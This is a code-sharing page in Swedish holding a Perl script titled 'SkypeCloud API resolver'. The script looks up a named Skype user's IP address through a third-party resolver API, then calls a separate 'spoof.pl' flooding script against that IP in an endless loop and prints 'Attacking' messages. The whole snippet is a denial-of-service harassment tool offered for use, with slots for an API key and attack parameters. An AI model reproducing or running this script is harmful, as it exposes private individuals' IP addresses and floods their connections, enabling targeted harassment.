SkypeCloud API resolver

Skapad 3 år sedan, skriven i Perl, med 363 visningar.
URL http://kod.perl.se/view/3123a8a2 Bädda in
Ladda hem koden eller visa koden i råformatVisa bredare version
  1. #CONTACT: https://www.facebook.com/pqpigor
  2.  
  3. use IO::Socket;
  4.  
  5. my $skype    = $ARGV[0];
  6. my $interval = $ARGV[1];
  7. my $domain   = "api.speedresolve.com";
  8. my $key      = "YOURKEYHERE";
  9.  
  10.  
  11. if ( $#ARGV != 1 ) {
  12.     print "Usage: perl skypecloud.pl <skypename> <secondstocheck>\n";
  13.     print "Made for www.speedresolve.com api\n";
  14.     print "Please remember to edit the api key, and the script usage";
  15. }
  16.  
  17. "\nStarting SkypeCloud\nChecking for New IP every $interval seconds\nAttacking Skype: $skype\n**PRESS CNTL + Z TO CLOSE**\nAPIservice used, http://www.speedresolve.com/\n\n";
  18. while (1) {
  19.     $socket = IO::Socket::INET->new(
  20.         Proto    => 'tcp',
  21.         PeerAddr => $domain,
  22.         PeerPort => '80',
  23.     ) or return $!;
  24.     print $socket "GET /skype.php?key=" . $key . "&name=" . $skype
  25.       . " HTTP/1.0\r\n";
  26.     print $socket "Host: ", $domain, "\r\n";
  27.     print $socket "Connection: close", "\r\n";
  28.     print $socket
  29. "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  30.       "\r\n";
  31.     print $socket "Accept: text/html, application/xhtml+xml, */*", "\r\n\r\n";
  32.  
  33.     my @array = <$socket>;
  34.     push @array, my $content = pop @array;
  35.  
  36.     if ( $content =~ /Error: Failed to resolve the skype name./ ) {
  37.         print "API is broke, re-resolving.";
  38.     }
  39.     else {
  40. #Here add your script usage, $content where the ip goes, and $interval where the time goes.
  41.         system("perl spoof.pl $content 80 65500 $interval");
  42.  
  43.         print "Attacking $content...\n";
  44.     }
  45.     print "Checking for ip, $interval seconds is over\n";
  46. }

Svara på "SkypeCloud API resolver"

Här kan du skriva ett svar till kodsnutten ovan